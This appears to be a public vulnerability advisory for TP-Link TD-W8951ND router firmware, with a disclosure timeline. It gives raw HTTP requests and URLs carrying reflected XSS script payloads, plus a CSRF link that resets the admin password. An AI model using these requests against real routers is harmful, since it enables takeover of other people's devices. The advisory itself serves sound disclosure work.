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Author:
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xistence < xistence[at]0x90[.]nl >

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Affected products:
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Tested on TP-Link TD-W8951ND Firmware 4.0.0 Build 120607 Rel.30923

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Affected vendors:
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TP-Link
http://www.tp-link.com/

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Details:
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[ 0x01 - Unauthenticated Reflected XSS in Referer for non-existing url
pages ]

GET /doesnotexist HTTP/1.1
Host: <IP>
Referer: http://pwned"><script>alert("XSS")</script>
Connection: keep-alive


[ 0x02 - Authenticated Reflected XSS in "home_wlan_1" arguments ]

http://
<IP>/Forms/home_wlan_1?wlanWEBFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
http://
<IP>/Forms/home_wlan_1?AccessFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
http://
<IP>/Forms/home_wlan_1?wlan_APenable=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E


[ 0x03 - Authenticated XSS in diagnostics (ping) "/Forms/tools_test_1"
argument "PingIPAddr" ]

POST /Forms/tools_test_1 HTTP/1.1
Host: <IP>
Referer: http://<IP>/maintenance/tools_test.htm
Authorization: Basic blablabla==
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 164

Test_PVC=PVC0&PingIPAddr=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&pingflag=1&trace_open_flag=0&InfoDisplay=Ping+request+could+not+find+host+


[ 0x04 - Reset Admin password CSRF ]

http://
<IP>/Forms/tools_admin_1?uiViewTools_Password=PWNED&uiViewTools_PasswordConfirm=PWNED

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Timeline:
--------------

2013-05-30 Provided details to TP-Link.
2013-06-01 Response from TP-Link that they will try to fix it.
2013-07-31 No further response, mailed again to ask for status.
2013-08-30 No response, public disclosure.